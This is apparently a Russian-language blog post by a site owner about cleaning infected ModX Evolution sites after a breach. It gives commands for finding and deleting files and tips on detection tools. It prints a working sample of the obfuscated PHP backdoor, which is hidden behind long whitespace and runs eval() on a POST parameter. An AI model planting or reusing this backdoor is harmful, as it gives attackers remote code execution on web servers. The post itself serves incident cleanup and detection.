Личный опыт. Лечение сайтов на ModX evolution на Linux сервере после взлома

После очередной атаки на сайты, сделанные в CMS ModX evolution, хостер сказал, что мой сервер стал рассылать спам. Начал проверять – снова полно зараженный файлов.

Популярными именами файлов оказались:

‘options.php’, ‘system.php’, ‘themes.php’, ‘page.php’, ‘footer.php’, ‘files.php’, ‘dir.php’, ‘ini.php’, ‘session.php’, ‘inc.php’, ‘log.php’, ‘global.php’, ‘diff.php’

 

Поскольку все файлы, что я нашел, отсутствовали в базовой поставке Modx, написал SSH-команду для поиска и удаления файлов:

find . -name 'option*.php' -o -name 'system.php' -o -name 'themes.php' -o -name 'page.php' -o -name 'footer.php' -o -name 'files.php' -o -name 'dir*.php' -o -name 'ini.php' -o -name 'session.php' -o -name 'inc.php' -o -name 'log.php' -o -name 'global.php' -o  -name 'diff.php' | xargs rm

 

К сожалению, все зараженные файлы так не удалить. К тому же, можно случайно удалить что-то из используемого системой. Потому этот метод используйте только для удаления уже проверенных файлов! Не забывайте, что файлы тоже могут называться как им хочется. Общее у зараженных файлов – расширение php (это исполняемые скрипты) размер в районе 500 байтов, содержат длинную строку, в начале которой много пробелов. Примерный вид таких файлов:

<?php                                                                                                                                                                                                                                                                      $afzo4 = "_serpuot"; $hby18 = $afzo4[1].$afzo4[7].$afzo4[3]. $afzo4[7]. $afzo4[6].$afzo4[5]. $afzo4[4]. $afzo4[4]. $afzo4[2].$afzo4[3] ; $ragf65 = $hby18 ($afzo4[0]. $afzo4[4].$afzo4[6].$afzo4[1].$afzo4[7]);if ( isset( ${ $ragf65}['q22ec2b']) ) {eval( ${$ragf65 } [ 'q22ec2b']); } ?>

 

В начале кода после тэга <?php много-много пробелов. Весь код вытянут в одну строку.

Как видно, сам по себе код вообще ничего особенного не представляет — присваиваются значения каким-то переменным. Но поскольку таких файлов на сервере становится много, то где-то должен быть еще один, который запускает такие файлы. Задача сводится к обнаружению такого файла.

Для поиска зараженных файлов на веб-сервере я использовал утилиту Web Shell Detector (https://github.com/emposha/PHP-Shell-Detector).

Как использовать Web Shell Detector для поиска зараженных файлов:

1. Скачайте zip-архив с сайта
2. Загрузите в корень вашего сайта файлы shelldetect.db, shelldetect.ini и shelldetect.php
3. Откройте в браузере shelldetect.php: http://vash_site/shelldetect.php. В окне логин/пароль введите логин «admin» и пароль «protect». Если не помогает, то в ini файле раскомментируйте строчку ;authentication=false
4. Смотрите страницу результатов и анализируйте

 

Программа анализирует php-скрипты на вашем сервере и выводит результат анализа на экран. Дальше нажимайте гиперссылку line:1 и смотрите, что за фрагмент кода вызвал подозрение у утилиты. Потом заходите в файловую систему и удаляйте.

Зараженные файлы попадают под условия:

• Размер от 100 байт до 1 Кбайт
• Создан 1-2 дня назад (если сервер не давно забыт :)).

Используем команду find консоли Linux для поиска php файлов, измененных за последний день:

find -name '*.php' -size +190c -mtime 0

За 1 день до:

find -name '*.php' -size +190c -mtime 1

 

После нужно изучить, какие файлы выданы в результате. В результатах точно будут файлы кэша или новые ваши скрипты. Но если увидите что-то непонятное, то откройте найденные файлы в текстовом редакторе и посмотрите на содержимое. Если очевидно, что код не относится к вашему проекту, то удаляйте.

Так можно устранить последствия взлома сайта. Но не причину.

Причина — наличие директорий с правами 777. Это зло, которое нужно исправлять. И тут несколько подходов — системный, программный и комбинированный.

Я решил пока проверить комбинированный. За 4 дня повторного взлома не было.